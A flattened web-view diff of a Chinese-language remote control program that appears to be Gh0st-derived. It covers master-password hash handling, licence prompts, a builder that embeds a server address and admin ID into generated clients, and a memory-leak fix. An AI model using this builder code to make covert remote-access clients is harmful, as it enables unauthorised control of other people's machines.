KillTimer(TIMER_CHECK);
|
KillTimer(TIMER_CHECK);
|
||||||
MessageBox("此程序已经失效,请联系管理员处理!", "提示", MB_ICONWARNING);
|
MessageBox("此程序已经失效,请联系管理员处理!", "提示", MB_ICONWARNING);
|
||||||
@@ -2517,7 +2520,7 @@ void CMy2015RemoteDlg::OnToolGenMaster()
|
|||||||
MessageBox("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。"
|
MessageBox("请通过菜单设置当前主控程序的公网地址(域名)! 此地址会写入即将生成的主控程序中。"
|
||||||
"\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
|
"\n只有正确设置公网地址,才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
if (m_superPass.empty()) {
|
if (m_superPass.empty()) {
|
||||||
CInputDialog pass(this);
|
CInputDialog pass(this);
|
||||||
pass.Init("主控生成", "当前主控程序的密码:");
|
pass.Init("主控生成", "当前主控程序的密码:");
|
||||||
@@ -2706,7 +2709,7 @@ void CMy2015RemoteDlg::OnOnlineAuthorize()
|
|||||||
pass.Init("需要密码", "当前主控程序的密码:");
|
pass.Init("需要密码", "当前主控程序的密码:");
|
||||||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||||||
return;
|
return;
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||||||
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
|
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
|
||||||
return;
|
return;
|
||||||
@@ -2795,7 +2798,7 @@ void CMy2015RemoteDlg::OnOnlineUnauthorize()
|
|||||||
pass.Init("需要密码", "当前主控程序的密码:");
|
pass.Init("需要密码", "当前主控程序的密码:");
|
||||||
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
if (pass.DoModal() != IDOK || pass.m_str.IsEmpty())
|
||||||
return;
|
return;
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
std::string masterHash(GetMasterHash());
|
||||||
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
if (hashSHA256(pass.m_str.GetBuffer()) != masterHash) {
|
||||||
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
|
MessageBox("密码不正确!", "错误", MB_ICONWARNING);
|
||||||
return;
|
return;
|
||||||
|
|||||||
@@ -149,6 +149,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
}
|
}
|
||||||
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
||||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
|
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN, "127.0.0.1", "", typ, false, DLL_VERSION, 0, startup, HeaderEncV0 };
|
||||||
|
g_ConnectAddress.SetAdminId(GetMasterHash().c_str());
|
||||||
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
g_ConnectAddress.SetServer(m_strIP, atoi(m_strPort));
|
||||||
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
g_ConnectAddress.runningType = m_ComboRunType.GetCurSel();
|
||||||
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
g_ConnectAddress.protoType = m_ComboProto.GetCurSel();
|
||||||
|
|||||||
@@ -62,7 +62,7 @@ bool WritePwdHash(char* target, const std::string & pwdHash, const Validation& v
|
|||||||
|
|
||||||
bool IsPwdHashValid(const char* hash) {
|
bool IsPwdHashValid(const char* hash) {
|
||||||
const char* ptr = hash ? hash : g_MasterID;
|
const char* ptr = hash ? hash : g_MasterID;
|
||||||
if (ptr == std::string(skCrypt(MASTER_HASH)))
|
if (ptr == GetMasterHash())
|
||||||
return true;
|
return true;
|
||||||
std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4);
|
std::string pwdHash(ptr, 64), s1(ptr +64, 32), s2(ptr +96, 4);
|
||||||
char output32[33], output4[5];
|
char output32[33], output4[5];
|
||||||
|
|||||||
@@ -479,6 +479,7 @@ BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyP
|
|||||||
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
ContextObject->InDeCompressedBuffer.WriteBuffer(CompressedBuffer, ulCompressedLength);
|
||||||
if (m_NotifyProc(ContextObject))
|
if (m_NotifyProc(ContextObject))
|
||||||
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
ret = CompressedBuffer[0] == TOKEN_LOGIN ? 999 : 1;
|
||||||
|
SAFE_DELETE_ARRAY(CompressedBuffer);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user